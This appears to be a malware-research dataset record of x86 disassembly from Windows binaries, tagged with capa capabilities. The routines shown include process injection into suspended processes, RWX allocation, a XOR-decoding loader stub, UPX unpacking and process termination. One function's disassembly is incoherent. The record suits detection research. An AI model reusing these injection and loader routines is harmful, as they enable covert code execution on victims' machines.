joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d5878
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x4d51c4]
call sub.rtl70.bpl__System__InitializeRecord_qqrpvt1
xor eax, eax
push ebp
push 0x4d5989
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
test ebx, ebx
je 0x4d5911
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x4d591d
cmp esi, 0x30000000
jbe 0x4d58c6
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004d6664
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4d596d
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x28]
push edx
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x14]
mov edx, 0x4d5850
mov eax, dword [ebp - 4]
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
test eax, eax
je 0x4d596d
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d5990
lea eax, [ebp - 0x2c]
mov edx, dword [0x4d51c4]
call sub.rtl70.bpl__System__FinalizeRecord_qqrpvt1
ret
Function at 0x4d5b54
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4d5c08
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x1c]
or eax, 4
push eax
cmp byte [ebp + 0x20], 1
cmc
sbb eax, eax
push eax
mov eax, dword [ebp + 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4d5bf2
push 0x4d5c1c
push 0x4d5c24
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0xc], eax
push 4
push 0
lea ecx, [ebp - 0xc]
mov edx, 0x4d5b38
mov eax, dword [esi]
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
mov eax, dword [esi]
mov edx, dword [ebp + 8]
call sym.P_Interface.bpl__Codehook_InjectLibrary_qqrui17System_AnsiString
mov ebx, eax
mov eax, dword [esi + 4]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d5c0f
lea eax, [ebp + 8]
call sub.rtl70.bpl__System__LStrClr_qqrpv
ret

Function at 0x4d5c4c
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x1c]
or eax, 4
push eax
cmp byte [ebp + 0x20], 1
cmc
sbb eax, eax
push eax
mov eax, dword [ebp + 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4d5cd4
push 0x4d5ce0
push 0x4d5ce8
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0xc], eax
push 4
push 0
lea ecx, [ebp - 0xc]
mov edx, 0x4d5c30
mov eax, dword [esi]
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
mov eax, dword [esi]
mov edx, dword [ebp + 8]
call sym.P_Interface.bpl__Codehook_InjectLibrary_qqruipv
mov ebx, eax
mov eax, dword [esi + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
Function at 0x4d5f90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov byte [ebp - 1], 1
xor edx, edx
push ebp
push 0x4d6026
push dword fs:[edx]
mov dword fs:[edx], esp
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 0x19
push esi
call sub.kernel32.dll_VirtualProtect
mov eax, dword [sym.P_Interface.bpl__Codehook_addr_data]
call sub.rtl70.bpl__System__DynArrayLength_qqrv
dec eax
test eax, eax
jl 0x4d600c
inc eax
xor ebx, ebx
mov edx, dword [sym.P_Interface.bpl__Codehook_addr_data]
mov edx, dword [edx + ebx*4]
cmp edx, esi
jne 0x4d6008
xor ecx, ecx
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, ecx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
imul edx, ebx, 0x65
mov edi, dword [sym.P_Interface.bpl__Codehook_aValue]
lea edx, [edi + edx]
mov dl, byte [edx + ecx]
mov byte [eax], dl
inc ecx
cmp ecx, 0x65
jne 0x4d5fdc
jmp 0x4d600c
inc ebx
dec eax
jne 0x4d5fcd
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
push eax
push 0x19
push esi
call sub.kernel32.dll_VirtualProtect
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d6034
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4d607f
Capabilities:
Find taskbar

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov edi, eax
xor ebx, ebx
push esp
push 0
push 0x4d612c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0x4d613c
push 0x4d6144
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 4], eax
push 0x4d6150
push 0x4d6144
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0xc], eax
push 0x4d615c
push 0x4d6144
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 0x10], eax
mov edx, edi
mov eax, esi
call sym.P_Interface.bpl__Codehook_InjectString_qqruipc
mov dword [esp + 8], eax
push 0x10
push 0
lea ecx, [esp + 0xc]
mov edx, 0x4d6040
mov eax, esi
call sym.P_Interface.bpl__Codehook_InjectThread_qqruipvt2uio
test eax, eax
je 0x4d6121
push eax
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
mov bl, 1
mov eax, ebx
add esp, 0x14
pop edi
pop esi
pop ebx
ret

Function at 0x4d642c
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x4d643b
or edx, 0x200
test eax, 0x20000000
je 0x4d646f
test eax, 0x40000000
je 0x4d645a
test eax, 0x80000000
je 0x4d6455
or edx, 0x40
jmp 0x4d6496
or edx, 0x20
jmp 0x4d6496
test eax, 0x80000000
je 0x4d6469
or edx, 0x80
jmp 0x4d6496
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x4d6487
test eax, 0x80000000
je 0x4d6482
or edx, 4
jmp 0x4d6496
or edx, 2
jmp 0x4d6496
test eax, 0x80000000
je 0x4d6493
or edx, 8
jmp 0x4d6496
or edx, 1
mov eax, edx
ret
Function at 0x50e0dc
Capabilities:
Link many functions at runtime

Disassembly:
pop es
add eax, 0x4b485254
push eax
inc esp
loopne 0x50e136
add byte [eax], bl
sbb al, 0x53
add byte [eax], al
add byte [edx + edx*2], al
dec eax
dec ebx
push eax
add byte [eax], al
jecxz 0x50e188
add byte [esi - 0x18], dl
dec ebp
cmp ch, bh
dec dword [ecx + 0x3c683043]
jecxz 0x50e196
add byte [esi - 0x18], dl
aas
cmp ch, bh
dec dword [ecx + 0x48683443]
jecxz 0x50e1a4
add byte [esi - 0x18], dl
xor dword [edx], edi
out dx, eax
dec dword [ecx + 0x64683843]
jecxz 0x50e1b2
add byte [esi - 0x18], dl
and edi, dword [edx]
out dx, eax
dec dword [ecx + 0x53ff3c43]
sub al, 0x8d
push ebp
invalid
xor di, bp
dec dword [ebx + 0x4ee8f445]
inc ebx
out dx, eax
inc dword [eax + eax*8 - 0x6397bb8b]
jecxz 0x50e1fa
add byte [ebp - 0x3b5e17ab], cl
jno 0x50e21b
add byte [ebx + 0x43c6e800], cl
out dx, eax
invalid
shl bl, 0x50
add al, ch
wait
cli
verw cx
lock add byte [eax], al
add byte [ebp - 0x3b5e1fab], cl
jno 0x50e25a
add byte [ebx + 0x4387e800], cl
out dx, eax
invalid
jne 0x50e1dc
or dl, bh
imul eax, dword [eax], 0xef7818e8
dec dword [ecx - 0x3fcc07bb]
inc ebp
fcom dword [eax - 0x47]
clc
jecxz 0x50e2b1
add byte [edx + 0x50e3e4], bh
push ss
Function at 0x52299c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
mov eax, dword [ebp - 8]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x522a88
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 0xc]
mov eax, dword [sym.P_Interface.bpl__Publicutil_GL_ExeName]
mov eax, dword [eax]
call sub.rtl70.bpl__Sysutils_ExtractFilePath_qqrx17System_AnsiString
lea eax, [ebp - 0xc]
mov edx, 0x522aa0
call sub.rtl70.bpl__System__LStrCat_qqrv
mov eax, dword [ebp - 0xc]
call sub.rtl70.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
call sub.kernel32.dll_CreateDirectoryA
fld xword [ebp + 8]
add esp, 0xfffffff8
fstp qword [esp]
wait
fld xword [ebp + 0x14]
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x20]
mov eax, dword [sym.P_Interface.bpl__Publicutil_GL_ExeName]
mov eax, dword [eax]
call sub.rtl70.bpl__Sysutils_ExtractFilePath_qqrx17System_AnsiString
lea eax, [ebp - 0x20]
mov edx, 0x522aa0
call sub.rtl70.bpl__System__LStrCat_qqrv
mov eax, dword [ebp - 0x20]
push eax
push 0x522aa8
lea eax, [ebx + 0x30]
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.rtl70.bpl__Variants__DispInvoke_qp8TVarDatarx8TVarDatap16System_TCallDescpv
add esp, 0x28
lea eax, [ebp - 0x1c]
call sub.rtl70.bpl__Variants__VarToBool_qqrrx8TVarData
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x522a8f
lea eax, [ebp - 0x20]
call sub.rtl70.bpl__System__LStrClr_qqrpv
lea eax, [ebp - 0x1c]
call sub.rtl70.bpl__Variants__VarClr_qqrr8TVarData
lea eax, [ebp - 0xc]
mov edx, 3
call sub.rtl70.bpl__System__LStrArrayClr_qqrpvi
ret
Function at 0x57c5f0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, ebx
mov eax, esp
call sub.rtl70.bpl__Sysutils_StrPas_qqrpxc
add esp, 0x104
pop ebx
ret

Function at 0x57c61c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call sub.rtl70.bpl__Sysutils_StrPas_qqrpxc
add esp, 0x104
pop ebx
ret
Function at 0x5802f4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xffffffb8
mov dword [esp], eax
mov eax, dword [sym.imp.rtl70.bpl__System_IsConsole]
cmp byte [eax], 0
je 0x580353
mov eax, dword [sym.imp.rtl70.bpl__System_Output]
call sub.rtl70.bpl__System_Flush_qqrrpv
call sub.rtl70.bpl__System___IOTest_qqrv
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
call sub.rtl70.bpl__Sysutils_StrLen_qqrpxc
push eax
lea eax, [esp + 0xc]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 8]
push eax
push 2
push 0x580398
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
jmp 0x580389
push 0x40
lea eax, [esp + 0xc]
push eax
mov eax, dword [sym.imp.rtl70.bpl__Sysconst__SExceptTitle]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x698004]
call sub.rtl70.bpl__System_FindResourceHInstance_qqrui
push eax
call sub.user32.dll_LoadStringA
push 0x2010
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 8]
push eax
push 0
call sub.user32.dll_MessageBoxA
add esp, 0x48
ret
Function at 0x5829ac
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push 0x200
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.kernel32.dll_GetLocaleInfoA
push 0x693d9f
lea ecx, [ebp - 0x200]
push ecx
call sym.P_Interface.bpl__Crtl__strcat_qpvpxv
add esp, 8
lea eax, [ebp - 0x200]
push eax
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
mov edx, 0x200
sub edx, eax
push edx
lea ecx, [ebp - 0x200]
push ecx
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA
push 0x693da1
lea ecx, [ebp - 0x200]
push ecx
call sym.P_Interface.bpl__Crtl__strcat_qpvpxv
add esp, 8
push 0xa
lea eax, [ebp - 0x200]
push eax
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov ecx, dword [ebx]
push ecx
call fcn.00584724
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x582abd
push esi
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
add edi, eax
add edi, 3
push edi
call sym.P_Interface.bpl__Crtl__malloc_qi
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x582a94
xor eax, eax
jmp 0x582b44
push esi
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call sym.P_Interface.bpl__Crtl__memset_qpvuci
add esp, 0xc
jmp 0x582afd
mov edi, dword [ebx + 0x24]
push edi
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
push eax
push esi
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call sym.P_Interface.bpl__Crtl__realloc_qpvi
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x582afd
xor eax, eax
jmp 0x582b44
push esi
mov edx, dword [ebx + 0x24]
push edx
call sym.P_Interface.bpl__Crtl__strcat_qpvpxv
add esp, 8
push 0x693da3
mov ecx, dword [ebx + 0x24]
push ecx
call sym.P_Interface.bpl__Crtl__strcat_qpvpxv
add esp, 8
lea eax, [ebp - 0x200]
push eax
mov edx, dword [ebx + 0x24]
push edx
call sym.P_Interface.bpl__Crtl__strcat_qpvpxv
add esp, 8
push 0x693da5
mov ecx, dword [ebx + 0x24]
push ecx
call sym.P_Interface.bpl__Crtl__strcat_qpvpxv
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x585ad2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
lea edx, [ebp - 8]
push edx
lea ecx, [ebp - 4]
push ecx
push 0
push 0x4001f
push 0
push 0
push 0
push eax
push 0x80000000
call sub.advapi32.dll_RegCreateKeyExA
mov ebx, eax
test ebx, ebx
jne 0x585b26
push esi
call sym.P_Interface.bpl__Crtl__strlen_qpxc
pop ecx
inc eax
push eax
push esi
push 1
push 0
push edi
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x670b64
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x670cf9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
call sub.kernel32.dll_GetCurrentProcessId
mov esi, eax
xor edx, edx
mov eax, 2
call fcn.00416224
mov ebx, eax
mov dword [ebp - 0x130], 0x128
lea edx, [ebp - 0x130]
mov eax, ebx
call fcn.00416244
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x670cc5
lea eax, [ebp - 0x13c]
lea edx, [ebp - 0x10c]
mov ecx, 0x104
call sub.rtl70.bpl__System__LStrFromArray_qqrr17System_AnsiStringpci
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0x138]
call sub.rtl70.bpl__Sysutils_ExtractFileName_qqrx17System_AnsiString
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov eax, dword [ebp - 0x134]
push eax
lea edx, [ebp - 0x140]
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 0x140]
pop eax
call sub.rtl70.bpl__System__LStrCmp_qqrv
je 0x670c96
lea eax, [ebp - 0x148]
lea edx, [ebp - 0x10c]
mov ecx, 0x104
call sub.rtl70.bpl__System__LStrFromArray_qqrr17System_AnsiStringpci
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov eax, dword [ebp - 0x144]
push eax
lea edx, [ebp - 0x14c]
mov eax, dword [ebp - 4]
call sub.rtl70.bpl__Sysutils_UpperCase_qqrx17System_AnsiString
mov edx, dword [ebp - 0x14c]
pop eax
call sub.rtl70.bpl__System__LStrCmp_qqrv
jne 0x670cb2
mov edi, dword [ebp - 0x128]
cmp esi, edi
je 0x670cb2
push 0xffffffffffffffff
push edi
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
lea edx, [ebp - 0x130]
mov eax, ebx
call fcn.00416264
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x670bf1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x670d00
lea eax, [ebp - 0x14c]
mov edx, 7
call sub.rtl70.bpl__System__LStrArrayClr_qqrpvi
lea eax, [ebp - 4]
call sub.rtl70.bpl__System__LStrClr_qqrpv
ret
Function at 0x70010be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x70010cd
pop dword [ebp - 0x30]
mov eax, 0x106db7a9
add eax, 0xf6925924
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x6a496382
sub dword [ebp - 0x40], 0x1bf71e37
mov dword [ebp - 0x3c], 0xfa98e955
sub dword [ebp - 0x3c], 0xc8659d10
mov dword [ebp - 0x38], 0x49868400
add dword [ebp - 0x38], 0x2c5c02e
mov dword [ebp - 0x34], 0xbcac1d34
sub dword [ebp - 0x34], 0xbcac1d34
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xdeb6b297
add dword [ebp - 0x40], 0x95bbb6bf
mov dword [ebp - 0x3c], 0x7b519d0f
add dword [ebp - 0x3c], 0xc61ac466
mov dword [ebp - 0x38], 0xdf8f305
sub dword [ebp - 0x38], 0xaa898699
mov dword [ebp - 0x34], 0xaf0ce208
sub dword [ebp - 0x34], 0xaf0ce208
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3a03f
push 0
call eax
mov ecx, 0x8d86db97
add ecx, 0x72796a12
xor esi, esi
add esi, eax
mov edi, 0x701e000
add edi, dword [ebp - 0x30]
mov ebx, 0x91f7159a
add ebx, 0xf0bfb5f1
mov dword [ebp - 0x24], 0xd1853e70
mov edx, dword [edi]
sub dword [ebp - 0x18], 0x401991bc
xor edx, ebx
mov dword [esi], edx
xor dword [ebp - 0x10], ecx
add esi, 0xb1ddb6e0
sub esi, 0xb1ddb6dc
add edi, 4
loop 0x70011e1
add eax, 0x64258af6
add eax, 0x9bdb7e81
mov ebx, eax
add eax, 5
mov ecx, 0x7000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x7002e77
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x701a85c]
jne 0x7002e81
repz ret
jmp fcn.0700f55f

Function at 0x700d408
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700d476
cmp byte [esi + 0x10], 0
je 0x700d427
push eax
call dword [sym.imp.MSVCR100.dll_fflush]
pop ecx
mov byte [esi + 0x10], 0
push edi
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700d464
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_feof]
pop ecx
test eax, eax
jne 0x700d464
push str.stream_read_error
push eax
call fcn.070010be
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700d478
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x7fbbd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3f6000]
push edi
jmp 0x7fbbea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7fbbf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fbbe0
mov eax, 1
add ebx, ebx
jne 0x7fbc03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7fbc14
jne 0x7fbc33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fbc33
dec eax
add ebx, ebx
jne 0x7fbc20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7fbbf8
add ebx, ebx
jne 0x7fbc2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7fbc85
xor ecx, ecx
sub eax, 3
jb 0x7fbc4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7fbcba
sar eax, 1
mov ebp, eax
jmp 0x7fbc56
add ebx, ebx
jne 0x7fbc56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fbc24
inc ecx
add ebx, ebx
jne 0x7fbc64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7fbc24
add ebx, ebx
jne 0x7fbc71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7fbc66
jne 0x7fbc82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7fbc66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7fbca4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7fbc96
jmp 0x7fbbe6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7fbca4
add edi, ecx
jmp 0x7fbbe6
pop esi
mov edi, esi
mov ecx, 0x24f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7fbcc2
cmp byte [edi], 1
jne 0x7fbcc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7fbcc7
lea edi, [esi + 0x3f9000]
mov eax, dword [edi]
or eax, eax
je 0x7fbd3f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x429a20]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x429ad4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7fbcf4
mov ecx, edi
jns 0x7fbd23
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x429ad8]
or eax, eax
je 0x7fbd39
mov dword [ebx], eax
add ebx, 4
jmp 0x7fbd11
call dword [esi + 0x429ae8]
mov ebp, dword [esi + 0x429adc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7fbd73
sub esp, 0xffffff80
jmp 0x40323f